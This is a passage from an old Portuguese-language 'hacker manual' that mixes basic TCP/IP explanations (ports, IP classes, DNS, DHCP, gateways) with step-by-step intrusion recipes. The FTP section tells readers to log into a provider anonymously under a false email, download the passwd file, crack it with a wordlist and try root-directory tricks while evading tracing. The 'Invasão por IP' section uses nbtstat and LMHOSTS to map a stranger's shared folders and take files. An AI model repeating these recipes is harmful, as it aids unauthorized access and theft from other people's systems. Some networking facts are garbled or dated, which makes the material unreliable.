CONECTADAS A INTERNET, ELE NÃO É SUFICIENTE PARA QUE ESTA MÁQUINA TROQUE

INFORMAÇÕES COM OUTRAS. POR EXEMPLO,UM MESMO ENDEREÇO DE IP 200.230.137.4

PODE SER UTILIZADO TANTO PARA CONEXÕES VIA WWW, IRC E FTP. COMO UM CLIENTE DE

WWW PEDE UM SERVIÇO PARA ELE? E COMO A MÁQUINA 200.230.137.4 DIFERENCIA SEUS

DIVERSOS SEVIÇOS OFERECIDOS À INTERNET? É AÍ QUE SURGE UM IMPORTANTE

CONCEITO, MUITAS VEZES NEGLIGENCIADO PELOS USUÁRIOS, MAIS É VITAL PARA

PREENCHER OS VÁRIOS TIPOS DE ATAQUES DE CRACKERS, QUE É O DA "PORTA". AGORA,

ALÉM DE DIFERENCIARMOS AS MÁQUINAS DA INTERNET, PODEMOS IDENTIFICAR OS

SERVIÇOS QUE ELAS PRESTAM, E CADA UM DELES É IDENTIFICADO COM UM NÚMERO

DIFERENTE. ESTES NÚMEROS SÃO PADRONIZADOS, PARA EVITARMOS CONFUSÃO. POR

EXEMPLO, PARA UTILIZAR O SERVIÇO DE WWW DA NOSSA MÁQUINA 200.230.137.4, BASTA

ABRIRMOS UMA CONEXÃO PELA PORTA 80. O FTP UTILIZA A PORTA 21, O ICQ USA PORTAS

NA FAIXA 1000-2000, E IRC PORTAS 6666, 6667, 6668. EXISTEM CERCA DE 65535 NÚMEROS

DISPONÍVEIS PARA SEREM UTILIZADOS EM UMA ÚNICA MÁQUINA. QUANTO MAIS

SERVIÇOS A MÁQUINA OFERECE, MAIS PORTAS (E SEUS NÚMEROS) SÃO DISPONIBILIZADOS.

ATÉ MESMO A SUA MÁQUINA WINDOWS 95/98, QUE APARENTEMENTE NÃO OFERECE

SERVIÇO NENHUM, TEM PORTAS ABERTAS.

A COLETA DE DADOS

UM ATAQUE BEM SUCEDIDO A UM COMPUTADOR É AQUELE QUE EXPLORA A

VULNERABILIDADE EXISTENTE EM UM PROGRAMA OU SERVIÇO RODANDO NA MÁQUINA.

COMO JÁ DISSEMOS ANTES, A MAIORIA DOS SERVIÇOS É ACESSADO ATRAVÉS DA

CAMADATCP/IP, E SÃO IDENTIFICADOS POR UM NÚMERO DE PORTA. ATAQUES AO

PRÓPRIO MECANISMO DE MANIPULAÇÃO DO PROTOCOLO DO TCP/IP TAMBÉM SÃO

FREQUENTES, COMO IREMOS VER A SERGUIR.

PARA QUE UM INVASOR POSSA EXPLORAR AS FALHAS DA SERGURANÇA NOS VÁRIOS

SISTEMAS DE SUA MÁQUINA, ELE PRECISA SABER ANTES O QUE ESTÁ DISPONÍVEL. EXSTEM

DOIS MÉTODOS BASTANTE UTILIZADOS PARA ESTE TIPO DE COLETA DE DADOS. A

VARREDURA DE PORTAS (PORT SCAN) E A IMPRESSÃO DIGITEL (FINGERPRINT) DO SISTEMA

OPERACIONAL.

PORT SCANS

USANDO PROGRAMAS ESPECIAIS, O INVADOR LANÇA SONDAS (PACOTES IP ESPECIAIS),

TENTANDO ESTABELECER CONEXÕES COM CADA UMA DAS 65535 PORTAS DO SEU

COMPUTADOR. SE EXISTE ALGUM SERVIÇO ASSOCIADO A ALGUMA PORTA, ELE IRÁ

24

Page 25: Manual hacker

RESPONDER. DESTA MANEIRA, O INVASOR CONSEGUE SABER, EM POUCOS SEGUNDOS, O

QUE ESTÁ RODANDO EM SUA MÁQUINA.

IMPRESSÃO DIGITAL

ATRAVÉS DO ENVIO DE UMA SEQUENCIA ESPECIAL DE PACOTES IP A UM SITE ESPECÍFICO,

PODE-SE DETECTAR QUE SISTEMA OPERACIONAL ESTÁ RODANDO ANALIZANDO OS

PACOTES QUE ELE ENVIA DE VOLTA. COM POSSE DESSAS INFORMAÇÕES, ELE JÁ SABE QUE

FERRAMENTAS UTILIZAR PARA TENTAR INVADIR OU VANDALIZAR O SEU MICRO. E É NESTE

PONTO QUE VOCÊ DEVE PRESTAR MUITA ATENÇÃO. QA INFORMAÇÃO É A ALMA DO

NEGÓCIO. A INVASÃO DE SISTEMAS É BASICAMENTE UMA TAREFA DE PESQUISA E COLETA

DE DADOS. QUANTO MAIS INFORMADO E ATUALIZADO VOCÊ ESTIVER, MENOS CHANCES

TERÁ DE RECEBER UM ATAQUE NO FUTURO.

INVADINDO FTP´S

ATAQUE POR FTP (ML HACKING)

INGREDIENTES:

COMPUTADOR LIGADO À INTERNET

PROGRAMA FTP.EXE

UM CÉREBRO DE DOIS NEURÔNIOS NO MÍNIMO, SE NÃO O PROGRAMA NÃO RODA

DIREITO.

E UM PROVEDOR DE INTERNET PEQUENO A GOSTO.

MODO DE PREPARO:

LIGUE O COMPUTADOR.

CONECTE-SE À INTERNET.

CLIQUE EM INICIAR OU START, DEPENEENDO DO RUINDOWS.

CLIQUE EM EXECUTAR.

25

Page 26: Manual hacker

DIGITE FTP E CLIQUE EM OK.

DEPOIS O PROGRAMA COMEÇARÁ.

AÍ VOCÊ VERÁ "FTP>"

DAÍ DIGITE OPEN www.provedor .COM.BR

NO LOGIN DIGITE: "ANONYMOUS"

NA SENHA DIGITE QUALQUER E-MAIL QUE NÃO SEJA O SEU E TEM QUE SER UM QUE NÃO

CHAME MUITO A ATENÇÃO.

VOCÊ ESTARÁ DENTRO DO PROVEDOR ESCOLHIDO. E AGORA? O QUE FAZER? EU IREI LEVÁ-

LO AO ARQUIVO QUE CONTÉM A SENHA, MAS DEPOIS VICÊ PODERÁ FAZER O QUE QUISER

EM OUTRO PROVEDOR.

DIGITE LS –AFL PARA LISTAR TODOS OS ARQUIVOS E DIRETÓRIOS DO PROVEDOR.

SE HOUVER O DIRETÓRIO ETC, DIGITE CD ETC, PARA MUDAR O DIRETÓRIO, SE NÃO TIVER

DIGITE CLOSE.

DIGITE LS –LA. SE HOUVER O ARQUIVO PASSWD DIGITE GET PASSWD, SE NÃO DIGITE

CLOSE.

PRONTO. TERMINADA A INVASÃO PEGUE O PROGRAMA JACK QUE TIRA AS SENHAS DO

ARQUIVO.

COLOCANDO NO PW FILE: PASSWD E NA OUTRA ENTRADA DE DADOS, QUE EU ESQUECI O

NOME COLOQUE A SUA WORDLIST.

SE VOCÊ NÃO TIVER NENHUM PROGRAMA DE FTP USE O DO MS-DOS. VÁ AO PROMPT E

DIGITE FTP. IRÁ APARECER O PROMPT FTP>, DIGITE OPEN, IRÁ ABRIR OUTRO PROMPT. DITE

ENTÃO O ENDEREÇO DO HOST PU O SEU IP.

AO CONECTAR ELE PEDIRÁ A SENHA E A PASSWORD, TENTE USAR OS PASSWORDS DO UNIX,

SE NÃO DER VOCÊ PODE ENTRAR INVISÍVEL. COMO EMTRAR INVISÍVEL?

NOLOGIN PRECIONE ENTER, NO PASSWORD PRECIONE NOVAMENTE. DEPOIS DIGITE

"QUOTE USER FTP", DÊ UM ENTER E DIGITE "QUOTE CWD~ROOT", PRECIONE ENTER

26

Page 27: Manual hacker

NOVAMENTE E DIGITE "QUOTE PASS FTP". PRONTO, VOCÊ ESTÁ HACKEANDO...

NÃO TENTE HACKEAR USANDO O USER NORMAL DE FTP´S, QUE É LOGIN ANONYMOUS

PASSWORD E-MAIL, POIS SERÁ APLICADO O MODO DE PROTEÇÃO...

MEU DEUS, EU ENTREI, E AGORA O QUE EU FAÇO?

AO ENTRAR VOCÊ VAI ESTAR NO DIRETÓRIO DO LOGIN, TIPO HOMEROOT. DAÍ, PARA VER A

LISTA DE USERS VOCÊ VOLTA UM DIR E DIGITE DIRHOME, E CADA DIR É UM USUÁRIO. NÃO

TENTEM PEGAR AS SENHAS POIS ESTÃO CRIPTOGRAFADAS, POIS A MAIORIA DOS USERS

USA A MESMA SENHA LOGIN. SE VOCÊ NÃO SOUBER OS COMANDOS DE FTP, DIGITE ? E

TECLE ENTER. DAÍ, É SÓ HACKEAR. NUNCA FIQUE MAIS DO QUE 5 MINUTOS EM UM

PROVEDOR, SE NÃO ELE CAÇARÁ O SEU IP, DAÍ É CADEIA!!!!!!.

FTP DO DOS

COMANDOS

FUNÇÕES

APPEND

ACRESCENTAR UM ARQUIVO

ASCII

DEFINIR UM TIPO DE TRANFERÊNCIA ASCII

BELL

EMITIR UM AVISO SONORO AO TÉRMINO DO COMANDO

BINARY

DEFINIR TIPO DE TRANSFERÊNCIA BINÁRIA

27

Page 28: Manual hacker

BYE

TERMINAR SEÇÃO DE FTP E SAIR

CD

ALTERAR A PASTA DE TRABALHO REMOTA

CLOSE

TERMINAR SESSÃO DE FTP

DELETE

EXCLUIR PASTAS DE TRABALHO REMOTA

DEBUG

LIGAR/DESLIGAR MODO DE DEPURAÇÃO

DIR

LISTAR CONTEÚDO DA PASTA REMOTA

DISCONNECT

TERMINAR SESSÃO DE FTP

GET

RECEBER ARQUIVO

GLOB

28

Page 29: Manual hacker

LIGAR/DESLIGAR O MASCARAMENTO EM NOME DE ARQUIVOS LOCAIS

HASH

LIGAR/DESLIGAR IMPRESSÃO "#" PARA CADA BUFFER TRANSFERIDO

HELP

AJUDA DO FTP

LCD

ALTERAR A PASTA DE TRABALHO LOCAL

LITERAL

ENVIAR UM COMANDO DE FTP ARBITÁRIO

LS

LISTAR O CONTEÚDO DA PASTA REMOTA

MDELETE

EXCLUI VÁRIOS ARQUIVOS

MDIR

LISTAR O CONTEÚDO DE VÁRIAS PASTAS REMOTAS

M GET

OBTER VÁRIOS ARQUIVOS

29

Page 30: Manual hacker

MKDIR

CRIA UMA PASTA NA MÁQUINA NA MÁQUINA REMOTA

MLS

LISTAR O CONTEÚDO DE VÁRIAS PASTAS REMOTAS

MPUT

ENVIAR VÁRIOS ARQUIVOS

OPEN

CONECTAR AO FTP REMOTO

PROMPT

FORÇAR PROMPT INTERATIVO EM MÚLTIPLOS COMANDOS

PUT

ENVIAR UM ARQUIVO

PWD

IMPRIMIR A PASTA DE TRABALHO NA MÁQUINA REMOTA

QUIT

TERMINAR A SESSÃO DE FTP E SAIR

QUOT

ENVIAR UM COMANDO ARBITRÁRIO

30

Page 31: Manual hacker

RECV

RECEBER ARQUIVO

REMOTEHELP

OBTER AJUDA A PARTIR DO SERVIDOR REMOTO

RENAME

RENOMEAR ARQUIVO

RMDIR

REMOVER PASTA DA MÁQUINA REMOTA

SEND

ENVIAR ARQUIVO

STATUS

MOSTRAR STATUS ATUAL

TRACE

LIGAR/DESLIGAR RASTREAMENTO DE PACOTES

TYPE

DEFINIR O TIPO DE TRANSFERÊNCIA DE ARQUIVOS

USER

31

Page 32: Manual hacker

ENVIAR INFORMAÇÕES DE NOVO USUÁRIO

VERBOSE

Invasão por IP

Passa-a-passo: 1º- Certifique-se de que você possui este programa nbstat:

2º- Vá ao Prompt do MS-DOS.

3º- Digite: nbtstat -a o IP do cara que você quer invadir

4º- Aparecerá se a pessoa tiver compartilhamento de arquivos as pastas do PC dela. Se não

aparecerá : Host Not Found (o foda é que não da para invadir o computador de certos caras

por causa disso então não se entusiasme tanto pois só da para invadir aquelas pessoas que

tem no PC compartilhamento de arquivos as pastas)

5º- Caso apareça um monte de nomes esquisitos com isso antes : "<03>", você deve pegar o

nome do negócio que estiver com <03> atrás do nome.

6º- Crie um arquivo .txt com o nome de LMHOSTS. Digite lá : O IP do cara NetBios dele . O

NetBios é aquele nome esquisite que tem o atras. (Digite exatamente daquela forma que eu

digitei)

7º- Mapeie sua unidade de disco de forma que a máquina do cara se torne parte de seu PC.

8º- Vá em "Iniciar", "Executar" e digite: //IP_do_cara e ponha "OK"

9º- Pronto! Você invadiu por IP!

32

Page 33: Manual hacker

10º- Conselho : Nunca apague nem modifique NADA somente fuce bastante nas coisas do

lammaH e se achar algo interessante pega para você. OBS: Tem algumas pessoas que

renomeiam o arquivo vnbt.386 no windowssystem para que se alguem tente te nukar ou

invadir não consiga... ; pois bem você vai ter que renomear o seu arquivo senão não da para

invadir.

PROTOCOLOS DE REDE

TCP/IP SE REFERE AO CONJUNTO DE PROTOCOLOS USADOS NA INTERNET. ELE INCLUI UMA

SÉRIE DE PADRÕES QUE ESPECIFICAM COMO OS COMPUTADORES VÃO SE COMUNICAR E

CRIA CONVENÇÕES PARA INTERCONECTAR REDES PARA O ROUTEAMENTO ATRAVÉS DESSAS

CONEXÕES.

OS PROTOCOLOS DA INTERNET (IP), SÃO UM RESULTADO DO PROJETO DA DARPA, SOBRE

CONECTIVIDADE ENTRE REDES NO FINAL DOS ANOS 70. ELE FOI UTILIZADO EM TODAS AS

REDES DE LONGA DOSTÂNCIA DO SISTEMA DE DEFESA DOS EUA EM 1983, MAS NÃO FOI

RAPIDAMENTE ACEITO ATÉ SER INCORPORADO AO BSD UNIX 4.2.

A POPULARIDADE DO TCP/IP É BASEADO EM:

ESTRUTURA CLIENTE SERVIDOR ROBUSTA: O TCP/IP É UMA ÓTIMA PLATAFORMA CLIENTE

SERVIDOR, ESPECIALMENTE EM AMBIENTES WAN.

COMPARTILHAMENTO DE INFORMAÇÕES: MILHARES DE INFORMAÇÕES MILITARES,

EDUCACIONAIS, CIENTÍFICAS, E COMERCIAIS COMPARTILHAM DADOS, CORREIO

ELETRÔNICO E OUTROS SERVIÇOS DA INTERNET USANDO O TCP/IP. AMPLA

DISPONIBILIDADE. IMPLEMENTAÇÕES DO TCP/IP ESTÃO DISPONÍVEIS EM PRATICAMENTE

TODOS OS SISTEMAS OPERACIONAIS POPULARES. SEU CÓDIGO É AMPLAMENTE DISPONÍVEL

EM VÁRIAS IMPLEMENTAÇÕES. FABRICANTES DE BRIDGES, ROUTERS E ANALIZADORES DE

REDES OFERECEM SUPORTE PARA O TCP/IP EM SEUS PRODUTOS.

CONCEITOS

EXISTEM ALGUNS CONCEITOS QUE SÃO IMPRECINDÍVEIS EM RELAÇÃO AO TCP/IP E DE

33

Page 34: Manual hacker

REDES QUE O UTILIZAM.

NÚMERO

EXISTEM ALGUMAS ANALOGIAS ENTRE COMPUTADORES E TELEFONES E O NÚMERO DE IP É

UMA DELAS. VOCÊ PODE IMAGINAR O NÚMERO DE IP COMO UM NÚMERO DE TELEFONE

COM TODOS OS CÓDIGOS DE DISCAGEM INTERNACIONAL. ISTO SE SIGNIFICA QUE

QUALQUER MÁQUINA PODE SE CONECTAR A OUTRO USANDO O NÚMERO DE IP, BASTADO

QUE EXISTA APENAS UM CAMINHO ENTRE AS DUAS. ALÉM DISSO, TODA MÁQUINA NA

REDE TEM DE TER UM NÚMERO DE IP.

ISTO TAMBÉM SIGNIFICA QUE DUAS MÁQUINAS NA MESMA REDE NÃO PODEM TER O

MESMO NÉMERO DE IP. ESTA RESTRIÇÃO SÓ OCORRE PARA MÁQUINAS NA MESMA REDE,

POIS MÁQUINAS NUMA REDE NÃO CONECTADA USUALMENTE TEM NÚMERO DE IP IGUAIS,

POR ALGUMAS CAUSAS TÉCNICAS. NO CASO DA ANALOGIA COM TELEFONES, IMAGINE

DUAS PESSOAS MORANDO EM PAÍSES DIFERENTES QUE POSSUAM O MESMO NÚMERO DE

TELEFONES (APENAS OS NÚMEROS LOCAIS). NESSE CASO NÃO HÁ CONFLITO.

O NÚMERO DE IP TEM 4 BYTES DE TAMANHO E TEM UM FORMATO ESPECÍFICO

XXX.XXX.XXX.XXX (EXEMPLO: 200.212.235.122). ISSO SIGNIFICA QUE CADA AGRUPAMENTO

PODE IR DE 0 À 255 (POIS ESSA É A CAPACIDADE DE 1 BYTE)

MÁSCARA

EXISTEM TRÊS CLASSES DE ENDEREÇOS IP: CLASSES A, B, C. A DIFERENÇA ENTRE AS CLASSES

É A FORMA DE COMO O ENDEREÇO DE IP É INTERPRETADO. O NÚMERO DE IP É DIVIDO EM

DUAS PARTES: O ENDEREÇO DA REDE EO ENDEREÇO DA SUBREDE. CONSIDERE O NÚMERO

DE IP DA SEGUINTE FORMA: W.X.Y.Z.

CLASSE

N º DE IP

INDICADOR DA REDE

34

Page 35: Manual hacker

INDICADOR DA SUB REDE

NºDE REDES DISPONÍVEIS

NºDE SUB REDES DISPONÍVEIS

A

1.126

w

x.y.z

126

16,777,214

B

128.191

w.x

y.z

16,384

65,534

C

192.223

w.x.y

z

2,097,151

254

OBS: O ENDEREÇO 192.168 É RESERVADO PARA USO EM REDES INTERNAS, O ENEREÇO 127

É UTILIZADO PARA TESTES DE LOOP BACK E OS ACIMA DE 224 SÃO RESERVADOS PARA

35

Page 36: Manual hacker

PROTOCOLOS ESPECIAIS.

UMA SUB REDE É UMA REDE LIGADA DIRETAMENTE ATRAVÉS DE UMA REDE PERTENCENTE

À INTERNET. A REDE PERTENCENTE RECEBE UM NÚMERO DE IP E DITRIBUI O NÚMERO DE IP

DENTRO DE SUA SUB REDE. AS CLASSES APENAS DEFINEM QUEANTAS SUB REDES UM

NÚMERO DE IP TEM. DE ACORDO COM A TABELA, EXISTEM 126 NÚMEROS DE IP DQA

CLASSE A E CADA UM DELES PODE TER CERCA DE 16.777.214 SUB REDES. VOCÊ LOGO PODE

IMAGINAR QUE NÃO EXISTAM ENDEREÇOS DE CLASSE A E B NA INTERNET, E QUE OS DA

CLASSE C ESTÃO ACABANDO, A IETF ESTÁ ESTUDANDO A EXPANSÃO DESSES NÚMEROS.

AS MÁSCARAS DE SUB REDE IDENTIFICAM A CLASSE DO NÚMERO DE IP. A PRIMEIRA VISTA

PARECE DESNECESSÁRIO, POIS BASTA OLHAR O PRIMEIRO NÚMERO DO IP PARA

DETERMINAR A CLASSE. MAS ACONTECE QUE UM NÚMERO DE IP DA CLASSE A PODE

FUNCIONAR COMO UM DA CLASSE B OU CLASSE C, DEPENDENDO DA ESTRUTURA INTERNA

DA SUA SUB REDE. UM EXEMPLO: IMAGINE UMA EMPRESA COM 200 FILIAIS NO BRASIL

CONECTADAS POR UMA REDE PRÓPRIA. A MATRIZ TEM UM NÚMERO DE IP DE CLASSE A,

DIGAMOS 100 E DISTRIBUI AS SUAS SUB REDES DA SEGUINTE FORMA:

100.1.0.0

Matriz

100.2.0.0

Filial 1

100.3.0.0

Filial 2

100.201.0.0

Filial 200

36

Page 37: Manual hacker

PARA AS FILIAIS, O NºDE IP (EX: 100.201.0.0) É DE CLASSE B, POIS SÓ TEM 16.384 SUBREDES

DISPONÍVEIS, EMBORA COMECE COM 100. DENTRO DAS FILIAIS AINDA É POSSÍVEL SE

DISTRIBUIR SUB REDES, AS QUAIS TERIAM NÚMEROS DE IP CLASSE C.

PARA QUE O ROTEAMENTO FUNCIONE CORRETAMENTE, OS COMPUTADORES PRECISAM

SABER QUAL A CLASSE DO NÚMERO DE IP, E ELAS SÃO AS SEGUINTES:

Classe

Máscara de Sub-rede

A

255.0.0.0

B

255.255.0.0

C

255.255.255.0

GATEWAY

GATEWAY PADRÃO É A MÁQUINA PÁRA QUEM PEDIMOS AJUDA QUANDO NÃO

CONSEGUIMOS ACHAR UMA OUTRA MÁQUINA NA REDE. FUNCIONA ASSIM: QUANDO UMA

MÁQUINA DA REDE PRECISA SE COMUNICAR COM OUTRA, ELA EMITE UM PEDIDO DE

CONEXÃO (ESSE PEDIDO É FEITO ATRAVÉS DO BROADCASTING, OU SEJA, A MÁQUINA QUE

ENVIA O PEDIDO A TODA A REDE, E APENAS A MÁQUINA DESTINO RESONDE), E AGUARDA

UMA RESPOSTA. SE ELA NÃO VIER, ELA ENTRA EM CONTATO COM O GATEWAY PADRÃO E

37

Page 38: Manual hacker

SOLICITA QUE O MESMO CONECTE COM A MÁQUINA DESTINO. SE O GATEWAY CONSEGUIR

CONECTAR À MÁQUINA DESTINO, ELE FICA COMO INTERMEDIADOR DESSA CONEXÃO, CASO

CONTRÁRIO, ELE VISA A MÁQUINA SOLICITANTE QUE NÃO FOI POSSÍVEL ENCONTRAR A

MÁQUINA DESTINO. ESSA ESTRUTURA DE PROCURA VISA DIMINUIR O TRÁFEGO

DESNECESSÁRIO NA REDE. IMAGINE SÓ SE TODA A CONEXÃO REALIZADA NA INTERNET (E

TODAS AS REDES CONECTADAS A INTERNET) FOSSE ENVIADA A TODOS OS COMPUTADORES

LIGADAS A ELA. SERIA UM TRÁFEGO MUITO GRANDE. AO INVÉS DISSO, O BROADCAST É

DIVIDIDO EM NÍVEIS, PRIMEIRO NA LAN (LOCAL AREA NETWORK OU REDE LOCAL) DEPOIS

NA WAN DE SUA CIDADE OU ESTADO, DEPOIS NA WAN NACIONAL ATÉ CHEGAR NA WAN

INTERNACIONAL. REDUZ-SE DESSE MODO TODO O TRÁFEGO INTERNO ÀS WANS E LANS

ALIVIANDO AS LINHAS DE CONEXÃO.

DNS

ESSAS 3 LETRAS NÃO SEIGNIFICAM MUITO PARA A MAIORIA DAS PESSOAS, MAS ELAS

DIGNIFICAM DOMAIN NAME SYSTEM. ESSAS 3 PALAVRAS TAMBÉM NÃO SIGNIFICAM COISA

ALGUMA PARA A MIORIA DAS PESSOAS, POR ISSO, VAMOS À ANALOGIA COM O TELEFONE.

QUANDO VOCÊ DESEJA TELEFONAR PARA A LOJA DA ESQUINA, VOCÊ CONSULTA O

CATÁLOGO, DESCOBRE O TELEFONE DE LÁE LIGA. VOCÊ NÃO CONSEGUE TELEFONAR PARA

ALGUM LUGAR SE NÃO SOUBER O NÚMERO. NA REDE TCP/IP ACONTECE A MESMA COISA.

OS USUÁRIOS NÃO DECORAM O NÚMERO DE IP DAS MÁQUINAS, E SIM OS NOMES. MAS

PARA SE ALCANÇAR UMA MÁQUINA NA REDE PRECISAMOS DO SEU NÚMERO DE IP. PARA

RESOLVER ISSO FOI CRIADO O DNS, UM SERVIÇO DISPONÍVEL NA REDE QUE, DADO UM

NOME DE MÁQUINA, ELE RETORNA O NÚMERO DE IP DA MESMA. EXISTE UMA

PARTICULARIDADE AQUI. NO CASO DA REDE LOCAL ESTAR CONECTADA A ALGUMA OUTRA,

É RECOMENDÁVEL QUE O SERVIDOR DNS, SEJA EXECUTADO NA MÁQUINA DE LIGAÇÃO

ENTRE AS DUAS REDES (O GATEWAY), PARA CASO DE O NOME REQUISITADO NÃO EXISTIR

NA REDE LOCAL , O DNS POSSA PEDIR AO SERVIDOR DNS DA OUTRA REDE PARA PESQUISAR

O TAL NOME.

O WINDOWS NT OFERECE UM SERVIÇO SEMELHANTE, O WINS (WINDOWS INTERNET NEME

SYSTEM OU SISTEMA DE NOMES DA INTERNET DO WINDOWS). A PRINCIPAL DIFERENÇA

ENTRE OS DOIS É QUE O DNS USA UMA TABELA ESTÁTICA, E O WINS USA UMA TABELA

DINÂMICA. NO CASO DO SERVIDOR DNS RODAR NUMA MÁQUINA DO WINDOWS NT É

RECOMENDÁVEL QUE ELE SEJA SUSTIUÍDO PELO WINS.

DHCP

MAIS UM CASO DE LETRAS QUE NÃO SIGNIFICAM NADA PARA A MIORIA DOS USUÁRIOS.

MAS INFELIZMENTE NÃO EXISTE UMA BOA ANALOGIA PARA O DHCP, PORTANTO VAMOS

38

Page 39: Manual hacker

DIRETO AO ASSUNTO. DHCP SIGNICA "DINAMIC HOST CONFIGURATION PROTOCOL", OU

SEJA: PROTOCOLO DE CONFIGURAÇÃO DE HOST DINÂMICO. NIAM REDE TCP/IP, TODO

COMPUTADOR, TODO COMPUTADOR TEM DE TER UM IP DISTINTO. ISSO SIGNIFICA QUE

ANTES DE COLOCAR UMA NOVA MÁQUINA NA REDE, O ADMINISTRADOR TERIA DE

IDENTIFICAR QUAIS NÚMEROS ESTÃO SENDO UTILIZADOS PARA ESCOLHER UM NÚMERO

ADEQUADO PARA A NOVA MÁQUINA. EM PEQUENAS REDES ISSO É POSSÍVEL SER FEITO,

MAS EM GRANDES REDES ISSO SE TORNA UMA TAREFA TEDIOSA E SUJEITA A FALHAS. PARA

EVITAR ISSO FOI CRIADO O DHCP. QUANDO UMA MÁQUINA ENTRA NA REDE, ELA PROCURA

O SERVIDOR DHCP (CUJO NÚMERO DE IP FOI PREVIAMENTE FORNECIDO) E SOLICITA UM

NÚMERO DE IP PARA SI PRÓPRIA. O SERVIDOR VERIFICA QUAL O NÚMERO DISPONÍVEL,

INFORMA AO SOLICITANTE ESSE NÚMERO E O TORNA INDISPONÍVEL PARA FUTURAS

SOLICITAÇÕES. DESSA MANEIRA A ADMINISTRAÇÃO DOS NÚMEROS DE IP SÃO FEITAS

AUTOMATICAMENTE E NÃO EXISTEM PROBLEMAS DE CONFLITO. QUANDO A MÁQUINA

SOLICITANTE SAI DA REDE, O SERVIDOR DHCP TORNA ESSE NÚMERO DISPONÍVEL

NOVAMENTE.

PORTAS

UMA PORTA PODE SER VISTA COMO UM CANAL DE COMUNICAÇÕES PARA UMA MÁQUINA.

PACOTES DE INFORMAÇÕES CHEGANDO A UMA MÁQUINA NÃO SÃO APENAS

ENDEREÇADAS À MÁQUINA, E SIM A MÁQUINA NUMA DTERMINADA PORTA. VOCÊ PODE

IMAGINAR UMA PORTA COMO SENDO UM CANAL DE RÁDIO, COM A DIFIRENÇA

FUNDAMENTAL DE QUE UM COMPUTADOR PODE "OUVIR" TODOS OS 65000 CANAIS

POSSÍVEIS AO MESMO TEMPO.

ENTRETANTO, UM COMPUTADOR GERALMENTE NÃO ESTÁ OUVINDO EM TODAS AS

PORTAS, ELE ESCUTA A ALGUMAS PORTAS ESPECÍFICAS. E ELE NÃO VAI RESPONDER A UM

PEDIDO A UMA PORTA QUE ELE NÃO ESTEJA ESCUTANDO.

EXISTEM UMA SÉRIE DE PORTAS PRÉ DEFINIDAS PARA CERTOS SERVIÇOS QUE SÃO ACEITOS

UNIVERSALMENTE. AS PRINCIPAIS SÃO:

SERVIÇO

PORTA

DESCRIÇÃO

39

Page 40: Manual hacker

FTP

21

PROTOCOLO DE TRANSFERÊNCIA DE ARQUIVOS

TELNET

23

PARA SE CONECTAR REMOTAMENTE A UM SERVIDOR

SMTP

25

PARA ENVIAR UM EMAIL

GOPHER

70

BROWSER BASEADO EM MODO TEXTO

HTTP

80

PROTOCOLO WWW – NETSCAPE, MOSAIC

POP3

110

PARA RECEBER EMAIL

NNTP

119

40

Page 41: Manual hacker

NEWS GROUPS

IRC

6667

INTERNET RELAY CHAT – BATE PAPO ONLINE

COMPUSERV

4144

COMPUSERV WINCIM

AOL

5190

AMERICA ONLINE

MSN

569

MICROSOFT NETWORK

OUTROS

OUTROS

OUTROS

ROTEADOR: É UM COMPUTADOR QUE É UTILIZADO PARA CONECTAR DUAS OU MAIS REDES

DISTINTAS. ELE TEM ESSE NOME PORQUE TEM DE ROTEAR (OU DIRECIONAR) OS PACOTES

DE UMA REDE PARA OUTRA, ATUANDO COMO UM GUARDA DE TRÂNSITO PARA OS

PACOTES ENTRE AS REDES.

GATEWAY: O GATEWAY TAMBÉM É UM COMPUTADOR QUE SERVE PARA CONECTAR DUAS

41

Page 42: Manual hacker

OU MAIS REDES DISTINTAS. A PRINCIPAL DIFERENÇA PARA O ROTEADOR É QUE O GATEWAY

NÃO TEM UM HARDWARE ESPECIAL PARA O ROTEAMENTO. USUALMENTE OS GATEWAYS

CONECTAM LANS E OS ROTEADORES, WANS. EM VÁRIOS CASOS SE UTILIZA UM ROTEADOR

EM CONJUNTO COM O GATEWAY.

VISÃO: UMA REDE UTILIZANDO O TCP/IP TEM UMA ESTRUTURA BÁSICA COMPOSTA POR

UM OU MAIS SERVIDOR RODANDO UM SERVIDOR DNS (OU WINS), DHCP, SMTP, POP3, E OS

SERVIDORES DOS SERVIÇOS DESEJADOS (HTTP, TELNET, GOPHER, ETC) E AS MÁQUINA

CLIENTES SOLICITANDO ESSES SERVIÇOS. PARA SE INTERLIGAR ESSA REDE A OUTRA REDE

TCP/IP, SE FAZ NECESSÁRIO O USO DE UM ROTEADOR OU GATEWAY E DA CORRETA

CONFIGURAÇÃO DA REDE.

EXISTEM DUAS MANEIRAS DE SE LIGAR A LAN À INTERNET:

ATRIBUI-SE UM NÚMERO DE IP VÁLIDO PARA CADA MÁQUINA NA REDE, O QUE PODE SER

IMPOSSÍVEL PARA REDES COM MUITAS MÁQUINAS.

ATRIBUI-SE UM NÚMERO DE IP VÁLIDO PARA O GATEWAY E UTILIZANDO-SE O NÚMERO DE

IP 192.168.X.X INTERNAMENTE.

COMO O SEGUNDO CASO É O MAIS FACTÍVEL, VAMOS OBERVÁ-LO MELHOR. NELE, SE

UTILIZA INTERNAMENTE A LAN O IP 192.168.X.X , QUE , QUANDO DA DETERMINAÇÃO DOS

NÚMEROS DE IP FOI RESERVADO PARA O USO DE REDES INTERNAS, OU SEJA, NENHUMA

MÁQUINA LIGADA DIRETAMENTE A INTERNET TEM UM IP 192.168.X.X. ISSO É NECESSÁRIO

POIS COMO JÁ VIMOS NENHUMA MÁQUINA PODE TER UM NÚMERO DE IP QUE JÁ ESTEJA

SENDO UTILIZADO POR UMA OUTRA MÁQUINA.

O GATEWAY TEM DUAS INTERFACES DE REDE, UMA PARA SE CONECTAR À INTERNET E

OUTRA PARA SE CONECTAR À LAN. A INTERFAE DA INTERNET É ATRIBUIDO O NÚMERO DE

IP VÁLIDO NA INTERNET E NA LAN O NÚMERO DE IP DO TIPO 192.168.X.X (USUALMENTE

192.168.0.1). NAS MÁQUINAS DA LAN O NÚMERO DO IP É DO TIPO 192.168.X.X (ONDE O

PRIMEIRO X É O MESMO DO GATEWAY) E O GATEWAY DEFALT É O IP DO GATEWAY

VOLTADO PARA A LAN (192.168.X.X). DESSA FORMA PODEMOS TER ATÉ 16.384 MÁQUINAS

NA INTERNET POR NÚMERO DE IP VÁLIDO. ESSA ESTRUTURA TAMBÉM FACILITA A ADOÇÃO

DE MEDIDAS DE SEGURANÇA CONTRA INTRUSOS DA INTERNET, POIS COMO TODO O

TRÁFEGO NA INTERNET PASSA PELO GATEWAY, BASTA PROTEGÊ-LO PARA PROTEGER TODA

42

Page 43: Manual hacker

A LAN.

PROTOCOLOS

TCP E IP: O TCP E O IP SÃO APENAS DOIS MEMBROS DA FAMÍLIA TCP/IP. IP É UM

